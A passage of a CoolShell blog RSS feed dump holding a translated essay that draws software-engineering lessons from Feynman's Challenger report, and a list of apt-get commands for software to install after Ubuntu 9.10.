CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1651.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Richard Feynman, 挑战者号, 软件工程</title>\n\t\t<link>https://coolshell.cn/articles/1654.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1654.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 04 Nov 2009 08:49:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Richard Feynman]]></category>\n\t\t<category><![CDATA[挑战者号]]></category>\n\t\t<category><![CDATA[软件开发]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1654</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>源文：链接  （本文主要根据挑战者号的问题，以及Richard Feynman那对NASA严厉的批评报告，批评了不适当的“自顶向下”的设计方法，并总结了一下软件...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1654.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"TEXT-ALIGN: left\">源文：<a href=\"http://duartes.org/gustavo/blog/post/richard-feynman-challenger-disaster-software-engineering\" target=\"_blank\">链接</a>  （本文主要根据挑战者号的问题，以及Richard Feynman那对NASA严厉的批评报告，批评了不适当的“自顶向下”的设计方法，并总结了一下软件工程和其它工程的相通的一些观点。翻译水平有限，欢迎指正）</p>\n<p align=\"center\"><img decoding=\"async\" loading=\"lazy\" src=\"http://static.duartes.org/img/blogPosts/250px-ChallengerCrew.jpg\" alt=\"Challenger Crew\" width=\"250\" height=\"200\" /></p>\n<p>佛罗里达州，美国东部时间1986年1月28日上午11时39分，<a href=\"http://zh.wikipedia.org/wiki/%E6%8C%91%E6%88%98%E8%80%85%E5%8F%B7%E8%88%AA%E5%A4%A9%E9%A3%9E%E6%9C%BA%E7%81%BE%E9%9A%BE\">挑战者号航天飞机</a> 执行为期6天的<a href=\"http://en.wikipedia.org/wiki/STS-51-L\">STS-51-L 任务</a>，在发射后，其右侧固体火箭助推器（SRB &#8211; <a href=\"http://en.wikipedia.org/wiki/Space_Shuttle_Solid_Rocket_Booster\">Solid Rocket Booster</a>）的O型环密封圈（用于连接两节助推器）失效，泄漏出来的热汽达到了5000华氏度，直接蒸发了O型密封圈，并灼烧了毗邻的外部燃料舱，在几秒钟内，外部燃料舱出现结构连接失效，空气的动力迅速分解了航天飞机。在而航天飞机上升72秒以后，助推器脱落，导致航天发飞向侧面滑出。几乎在引航员 Michael J. Smith 发出&#8221;Uh oh&#8221; 的同时，整个航天飞机完全解体，片刻，航天飞机内部发生爆炸，所有7名宇航员罹难。 那时的我还只是一个小孩，我从电视下方滚动的新闻条目知道了这一惨剧。</p>\n<p>在那个时候，火箭助推器工程师曾经警告过这个O型环可能存在问题，但可惜的是，NASA的管理层忽略了这个问题。<img decoding=\"async\" loading=\"lazy\" style=\"MARGIN: 6px\" src=\"http://static.duartes.org/img/blogPosts/ChallengerExplosion.jpg\" alt=\"Challenger Explosion\" width=\"300\" height=\"191\" align=\"right\" />美国总统里根委派<a href=\"http://en.wikipedia.org/wiki/Rogers_Commission\" target=\"_blank\">罗杰斯委员会</a>对事故进行了调查，调查成员包括著名的物理学家Richard Feynman。其不羁的态度和直来直去的方法和罗杰斯委员会的风格形成了鲜明的反差。主席罗杰斯，一个政客，评论Feynman是一个“真正的痛苦”。最后，在委员会提交的报告中，Feynman反判的观点几乎被清除了出去。并且，Feynman曾被主席威胁过要把他的名字从报告中完全除掉，但最终，他们还是同意在报告中加一个附录，但只是个人观点—— <a href=\"http://www.ralentz.com/old/space/feynman-report.html\">Appendix F &#8211; Personal Observations on Reliability of Shuttle</a>。</p>\n<p><span id=\"more-1654\"></span></p>\n<p>这是一个好的报告，因为，这是一个富有才华的报告。其深深地洞察了在实现一些高可靠性的系统时的工程学中的一些很自然性的东西。是的，在这里，我并没有放上“软件工程” 的字样，只是工程。但Feynman的结论却非常和我们的软件开发有着不可分割的关系。这是最基本的东西，无论是软件工程，还是别的工程学。下面，让我们来看看，Feynman是怎么说的：</p>\n<blockquote><p>航天飞机主引擎的建造方式是<a href=\"http://en.wikipedia.org/wiki/Top-down\"><strong>自顶向下</strong></a>(top down)，我们可以这样说。整个引擎被设计把所有的事情放在一起，而那些相关的细节上的东西在设计当时还并不是很成熟的。所以，<strong>当其中的小零件（轴承，涡轮片，散热管，等等）出现问题时</strong>，<strong>我们需要花费昂贵的代价才能找到事故的原因，也很难作出修改</strong>。要避免问题发生，需要频繁的维护和置换重要的零部件。修理很多时候不会解决真正的原因。</p></blockquote>\n<p>可见，软件开发中也一样，Bug在整个过程中存在的时间越长， <a href=\"http://stevemcconnell.com/ieeesoftware/eic17.htm\">我们就越难解决这个问题</a>。很显然，自顶向下的方法，因为在设计的时候并不熟悉实际问题，所以，Bug从设计的时候就出现了。然而，我们需要明白，需求和设计的不同之处。需求需要对产品一种清楚和良好的定义，设计则是解决如何达到需求的方法。Feynman 在这里并没有反对 <a href=\"http://www.joelonsoftware.com/articles/fog0000000036.html\">功能规格说明书</a>，他只是反对自顶向下的设计方法，比如： <a href=\"http://martinfowler.com/bliki/UmlAsBlueprint.html\">UML 就是蓝图</a> 的鼓吹者。再来看看他的言论：</p>\n<blockquote><p>航天飞机主引擎是一个非常不同寻常的机器，它和以前所有的引擎都不一样。这完全超出了以前引擎制的工程经验。所以，不奇怪的，许多不同的流程和难点都会在工程中出现。<strong>然而，很不幸地，这是通过自顶向下设计，所以，那些流程和问题是很难被发现被修正的</strong>。设计要求的引擎寿命可以完成55次点火任务（相当于27,000秒的操作，也就是说，第次点火需要500秒），但事实上这并没有完成。而引擎现在则<strong>需要频繁维护，并需要经常更换重要的部件</strong>，比如：涡轮泵，轴承，金属片，等等。</p></blockquote>\n<p align=\"center\"><img decoding=\"async\" loading=\"lazy\" style=\"MARGIN: 4px\" src=\"http://static.duartes.org/img/blogPosts/feynman.jpg\" alt=\"Richard Feynman\" hspace=\"hspace\" vspace=\"vspace\" width=\"200\" height=\"248\" /></p>\n<p>“不合适的自顶向下的设计方式，导致了问题很难去发现和修正，最终没有完成设计需求，频繁性地维护”这些描述方式，听起来是不是似曾相识？我们每天在做的软件工程和这个不一样吗？Feynman 详细说明了为什么“自顶向下”的设计会让发现和解决这些问题成为那么的难和痛苦的一件事：</p>\n<blockquote><p>很多这些已被解决的问题在一开始设计时都是设计的难点。很自然地，没有人可以确定那些所有的已发现问题都能会出现，而其中一些，<strong>我们并没有根据正确的原因在正确的地方解决这些问题</strong>。</p></blockquote>\n<p>无论这是Linux内核，或是航天飞机引擎，这些设计时的基本的问题都是相通的。而“自顶向下”是其中荒唐的一个，因为，自顶向下，过度的注重了需求而忽略了现实，而那些下面非常细节的知识绝对是非常需要的，并不是所有的东西都可以抽象成出来。在他说起航空电子系统时（一个NASA的另一个部门）：</p>\n<blockquote><p>该软件是采用了从底向上的方法被小心地做了检查。<strong>首先，每一行代码都被检查过，然后，代码段和模块和一些详细的功能被验证过</strong>。而检查范围在一步一步地被扩大，直到新的改变被组合进来最终成为一个完整的系统。这个过程最终的完整的输出成为了最终的产品，成为了新的release。这个部门完全以一种中立的态度，<strong>把软件作为一个敌对方</strong>，不停地测试，校验，就像自己就是这个软件的用户一样。</p></blockquote>\n<p>是的，这就是1986年Feynman告诉大家的——Unit Test（单元测试），今天，Unit Test成为了软件开发活动中最最重要的一个环节（也许你以为是Coding）。并不单单只是Unit Test，“步步为营的增量式”和“以敌对的态度”，都是值得我们所学习的。我们经常听到有人在抱怨软件道，因为软件工程还太年轻了，还有很多知识我们还没有得到，所以总是那么多问题。这完全是胡说！我们痛苦是因为，我们 <a href=\"http://www.stevemcconnell.com/cc.htm\">总是忽略</a> 早就确定了的， <a href=\"http://www.joelonsoftware.com/articles/fog0000000043.html\">早为人所熟知</a>， <a href=\"http://www.stevemcconnell.com/rd.htm\">以经历和实践去证明一切的方法</a>。 当然，在这方面，我们的管理层也需要负责，尤其是那些紊乱的时间进度，错误的激励机制，低档次的招聘，和一些让士气受挫的制度，等等。“管理”和“工程”间的紧张关系最终成为了糟糕的管理。Feynman在他的报告中也谈到了这点，下面其中的一小段话：</p>\n<blockquote><p>总而言之，计算机软件检查系统和<strong>最负责的态度</strong>。是的，那里并没有那种自欺欺人而不顾固体燃料助推器的标准。但可以肯定的是，有关管理部门<strong>最新的建议，建议取消此类复杂而昂贵的不必要的测试</strong>。</p></blockquote>\n<p>这只是其中的一个小段。我把其挑出来是因为其一针见血地指出了观点，比如“最负责的态度”，以及“逐步的自欺欺人”。我建议你读一读<a href=\"http://www.ralentz.com/old/space/feynman-report.html\">报告全文</a>， 可以让你得到很多真相。关于软件工程，下面是几个主要观点：</p>\n<ul>\n<li>工程仅当在和其管理有好的关系的时候才能好。</li>\n<li>大型的从上从前端的设计是愚蠢的。</li>\n<li>软件工程和其它传统的工程学是一样的。</li>\n<li>可靠的系统由几近残酷的测试，增量式的自底向上的工程，以及高负责的态度来共同保证。</li>\n</ul>\n<p>这篇报告中，还有很多不错的观点，如果你感受到了，欢迎你告诉我。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2681.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"Kent Beck 谈单元测试和持续部署\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2681.html\" class=\"wp_rp_title\">Kent Beck 谈单元测试和持续部署</a></li><li ><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_title\">参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍</a></li><li ><a href=\"https://coolshell.cn/articles/76.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/09meeting-thumbnail-150x150.jpg\" alt=\"怎样做一个 Program Manager\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/76.html\" class=\"wp_rp_title\">怎样做一个 Program Manager</a></li><li ><a href=\"https://coolshell.cn/articles/404.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"4月14日，微软补丁日\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/404.html\" class=\"wp_rp_title\">4月14日，微软补丁日</a></li><li ><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" alt=\"一些非常不错的资料\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_title\">一些非常不错的资料</a></li><li ><a href=\"https://coolshell.cn/articles/1817.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/200x200-150x150.jpg\" alt=\"9个最常见IE的Bug及其fix\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1817.html\" class=\"wp_rp_title\">9个最常见IE的Bug及其fix</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1654.html\">Richard Feynman, 挑战者号, 软件工程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1654.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>装完Ubuntu 9.10后要干的事</title>\n\t\t<link>https://coolshell.cn/articles/1644.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1644.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 30 Oct 2009 11:10:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Karmic Koala]]></category>\n\t\t<category><![CDATA[Ubuntu]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1644</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Ubuntu 9.10刚刚release，就有人在网上发表了贴子告诉大家在装完这个操作系统后，还需要去安装的一些开源免费软件，相当丰富。不过，这个贴子的链接被G...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1644.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1644.html\">装完Ubuntu 9.10后要干的事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Ubuntu 9.10\" src=\"http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1-300x274.jpg\" alt=\"\" width=\"160\" height=\"147\" />Ubuntu 9.10刚刚release，就有人在网上发表了贴子告诉大家在装完这个操作系统后，还需要去安装的一些开源免费软件，相当丰富。不过，这个贴子的链接被GFW干掉了，所以，你需要使用Tor的支持，或是使用Google Reader才能查看<a href=\"http://blog.thesilentnumber.me/2009/09/top-things-to-do-after-installing.html\" target=\"_blank\">源文</a>（<a href=\"http://feeds.feedburner.com/TheSilentNumber\" target=\"_blank\">RSS链接</a>）。而这个贴子非常长，所以我无法作全文翻译，不过这个贴子的内容具有很强的指导意义，所以我在这里为大家总结一下该文所提到的那些诸多的东西。（关于那些如何翻墙的事情怎么做我就不多说了，网上有很多相关的文章，你自己搜索一下就可以找到）</p>\n<h4>基本工作</h4>\n<p>1）第一件事自然是下载那些Ubuntu的镜像站点表，以及更新操作系统的一些补丁。“系统”-&gt;“管理”-&gt; “更新管理器”。</p>\n<p>2）第二件事是设置文件目录共享。就是在文件夹上点右键，在菜单中选“属性”，然后在对话框中选“共享”，那个对话框整得跟XP几乎一模一样。当然，这需要samba的支持。（sudo apt-get install samba）</p>\n<p>3）接下来是设置时间同步。通过NTP（Network Time Protocol）同步你的时间。通过点击“系统”-&gt;“管理”-&gt; “时间/日期”，然后选择“Keep synchronized with Internet servers”（和Internet服务器同步），于是你需要安装NTP协议。（sudo apt-get install ntp）</p>\n<p><span id=\"more-1644\"></span></p>\n<h4>　</h4>\n<h4>受限软件</h4>\n<p>1）DVD方面有一些受限的东西，所以，你可能需要安装libdvdcss，但首先你要安装libdvdread4。</p>\n<p style=\"PADDING-LEFT: 30px\">sudo apt-get install libdvdread4<br />\nsudo /usr/share/doc/libdvdread4/install-css.sh</p>\n<p>2）ubuntu-restricted-extras包中，包括了一堆Ubuntu不能合法使用的东西。比如：unrar，也就是解rar文件的程序，微软的Truetype字体，Sun JRE，还有一些受限代码，还有Adobe Flash Player，等等。这并不代表你不能安装，你可以通过“应用程序”-&gt;“Ubuntu软件中心”中安装。（sudo apt-get install ubuntu-restricted-extras）</p>\n<p>　</p>\n<h4>界面相关</h4>\n<p>1）<strong>GNOME Shell</strong>。关于这个无以言表的东西，你是无法拒绝的。（sudo apt-get install gnome-shell）</p>\n<p>2）<strong>高级桌面效果</strong>。这就是所谓的3D桌面了，效果相当的炫。通过<em>System -&gt; Preferences -&gt; Appearance</em>来设置。在对话框中，选Extra。然后你就自己玩吧。使用Simple CompizConfig Settings Manager更容易一些。（sudo apt-get install simple-ccsm）</p>\n<p>3）<strong>Basic Compositing</strong>。你是一个有图形界面狂燥症的人吗？如果的是话，你一定需要这个功能了（当然，硬件也得跟上）。按Alt+F2，然后运行gconf-editor，浏览Apps -》 metacity -&gt; general，然后，勾选compositing_manager……</p>\n<p>4）<strong>Extra样式</strong>。这就啥也不说了，太多的效果了了，多得都没法说。（sudo apt-get install arc-colors community-themes gdm-themes gnome-backgrounds gnome-colors gnome-themes gnome-themes-extras gnome-themes-more metacity-themes shiki-colors zgegblog-themes）</p>\n<p>5）<strong>Electric Sheep 屏保</strong>。这个屏保很炫啊。(sudo apt-get install electricsheep)</p>\n<p>　</p>\n<h4>桌面相关</h4>\n<p>1）<strong>Application Launcher</strong>。一个相当漂亮的程序启动器（sudo apt-get install gnome-do）</p>\n<p>2）<strong>Universal Applets</strong>。许多的桌面小程序。（sudo apt-get install universal-applets）APT Line: APT line: deb http://download.opensuse.org/repositories/home:/some-guy:/screenlets/xUbuntu_9.04/ ./</p>\n<p>3）<strong>剪贴板管理器</strong>。方便你的拷贝粘贴操作。（sudo apt-get install parcellite）</p>\n<p>　</p>\n<h4>音频/视频编辑器</h4>\n<p>1）<strong>视频编辑器PiTiVi</strong>。功能相当强大。（sudo apt-get install pitivi）</p>\n<p>2）<strong>视频捕捉Instanbul</strong>。（sudo apt-get install istanbul）</p>\n<p>3）<strong>音频录制编辑器Jokosher</strong>。一个强大的非线性多音轨的录音和编辑器。（sudo apt-get install jokosher）</p>\n<p>4）<strong>摄像头Cheese</strong>。基于GStreamer的一个摄像头程序（sudo apt-get install cheese）</p>\n<p>　</p>\n<h4>多媒体Playback</h4>\n<p>1）<strong>多媒体中心Moovida</strong>。原名是Elisa。一个很不错的家庭影院程序。（sudo apt-get install moovida）</p>\n<p>2）<strong>视频Feed软件Miro</strong>。原名是Democracy Player。（sudo apt-get install miro）</p>\n<p>3）<strong>媒体播放器Banshee</strong>。（sudo apt-get install banshee）</p>\n<p>　</p>\n<h4>网页浏览器</h4>\n<p>Firefox 3.5就不多说了。</p>\n<p>1）<strong>Google Chrome</strong>。（sudo apt-get install chromium-browser）</p>\n<p>2）<strong>Epiphany</strong>。GNOME的集成浏览器。（sudo apt-get install epiphany-browser）</p>\n<p>　</p>\n<h4>游戏</h4>\n<p>1）<strong>PlayDeb</strong>。<a href=\"http://blog.thesilentnumber.me/2009/07/playdebnet-beta-2-launches.html\">PlayDeb</a>是一个游戏库。通过PlayDeb.net安装游戏是相当简单和方便的。你可以把其加到你的源里<a href=\"http://archive.getdeb.net/install_deb/playdeb_0.3-1~getdeb1_all.deb\">playdeb package</a>。（wget -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -）</p>\n<p>2）<strong>Yo Frankie!</strong>。这个大名鼎鼎的游戏我就不介绍了。（sudo apt-get install yofrankie）</p>\n<p>3）<strong>Nexuiz</strong>。第一人称视角射击类的游戏。（sudo apt-get install nexuiz）</p>\n<p>　</p>\n<h4>图片和发行物</h4>\n<p>1）<strong>图片管理器Solang</strong>。F-Spot做得并不令人满意，你可以试试这个最新的管理器。（sudo apt-get install solang）</p>\n<p>2）<strong>向量图Inkscape</strong>。SVG文件格式，很像Illustrator, CorelDraw。（sudo apt-get install inkscape）</p>\n<p>3）<strong>3D图片Blender</strong>。相当不错的一个3D图创建器。<a href=\"http://en.wikipedia.org/wiki/Blender_Foundation#Open_Movie_Project\">Open Movie Project</a>的一部分。（sudo apt-get install blender）</p>\n<p>4）发<strong>行物编辑器Scribus</strong>。你可以用这个软件来制作一些报纸，小册子，卡片，海报，封面等发行物。（sudo apt-get install scribus）</p>\n<p>　</p>\n<h4>文件分享</h4>\n<p>1）<strong>P2P软件Gnunet</strong>。一个MP3的P2P分享软件（sudo apt-get install gnunet-gtk）</p>\n<p>2）<strong>直连DC++。</strong>最好的方式就是直接。DC++是这其中最好的。（sudo apt-get install linuxdcpp）</p>\n<p>3）<strong>Usenet &#8211; LottaNZB</strong>。虽然不是名费的，但Usenet下载是奇快无比。LottaNZB是其中一个client。（sudo apt-get install lottanzb）</p>\n<p>4）<strong>BT下载Deluge</strong>。功能齐全的BT客户端。（sudo apt-get install deluge）</p>\n<p>　</p>\n<h4>时间管理</h4>\n<p>1）<strong>Alarm Clock</strong>。一个日历提醒程序。（sudo apt-get install alarm-clock）</p>\n<p>2）<strong>时间跟踪Hamster</strong>。这个小程序可以统计你操作不同程序的时间。（sudo apt-get install hamster-applet）</p>\n<p>　</p>\n<h4>沟通软件</h4>\n<p>1）<strong>即时聊天Empathy</strong>。</p>\n<p>2）<strong>微博写作器Gwibber</strong>。可以用于Twitter, Identi.ca, Jaiku, Facebook, Digg等等。（sudo apt-get install gwibber）</p>\n<p>3）<strong>QQ 和 Skype</strong>。这是我加上的，你可以在QQ的网上下载Linux版，很不错。还有Skype。</p>\n<p>　</p>\n<h4>安全和隐私</h4>\n<p>1）<strong>On-The-Fly 加密</strong>。<a href=\"http://sd4l.sourceforge.net/\">http://sd4l.sourceforge.net/</a></p>\n<p>2）<strong>VPN访问</strong>。sudo apt-get install network-manager-pptp</p>\n<p>3）<strong>Onion Routing</strong>。这个软件中最著名的就是我在文章前提到过的Tor，那个可以绕过GFW的软件。（sudo apt-get install tor tor-geoipdb）</p>\n<p>4）<strong>防火墙</strong>。sudo apt-get install gufw</p>\n<p>5）<strong>杀毒软件ClamAV</strong>。sudo apt-get install clamtk</p>\n<p>　</p>\n<h4>系统工具</h4>\n<p>1）<strong>LiveUSB Creator</strong>。想用USB启动你的电脑吗？用UNetbootin这个工具吧。（sudo apt-get install unetbootin）</p>\n<p>2）<strong>备份工具Back In Time</strong>。sudo apt-get install backintime-gnome</p>\n<p>3）<strong>磁盘分区工具</strong>。GNOME Partition Editor可以帮你管理你的USB，IPOD或其它可写存储（sudo apt-get install gparted）</p>\n<p>4）<strong>虚拟机VirtualBox</strong>。这个开源的虚拟机，还不错。sudo apt-get install virtualbox-3.0</p>\n<p> </p>\n<p>好了，基本上就是这些，我要说，没有图片的支持，看来这篇文章不怎么的。呵呵。不过希望你喜欢。也希望你给我们推荐你所喜欢的Ubuntu工具。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" alt=\"GNU/Linux下有多少是GNU的？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4826.html\" class=\"wp_rp_title\">GNU/Linux下有多少是GNU的？</a></li><li ><a href=\"https://coolshell.cn/articles/2352.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"telnet的一个Bug\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2352.html\" class=\"wp_rp_title\">telnet的一个Bug</a></li><li ><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1097.html\" class=\"wp_rp_title\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li ><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Ubuntu的并行启动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/501.html\" class=\"wp_rp_title\">Ubuntu的并行启动</a></li><li ><a href=\"https://coolshell.cn/articles/424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"PDF电子书搜索引擎\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/424.html\" class=\"wp_rp_title\">PDF电子书搜索引擎</a></li><li ><a href=\"https://coolshell.cn/articles/2271.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/03/emacs_color_theme-150x150.jpg\" alt=\"Emacs配色在线生成器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2271.html\" class=\"wp_rp_title\">Emacs配色在线生成器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1644.html\">装完Ubuntu 9.10后要干的事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1644.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-36.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 36 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=36\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Mon, 28 Dec 2020 08:22:50 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>文件备份的几个简单命令</title>\n\t\t<link>https://coolshell.cn/articles/1640.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1640.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 30 Oct 2009 07:16:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[backup]]></category>\n\t\t<category><![CDATA[ftp]]></category>\n\t\t<category><![CDATA[tar]]></category>\n\t\t<category><![CDATA[wget]]></category>\n\t\t<category><![CDATA[zip]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1640</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道，备份文件是一件很重要的事情，我在《优秀程序员的十个习惯》一文向大家说明了备份文件应该是程序员最基本的一个习惯。本文主要是向大家介绍一些在备份文件和数据...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1640.html\"> Read More<span class=\"screen-reader-text\">  Read 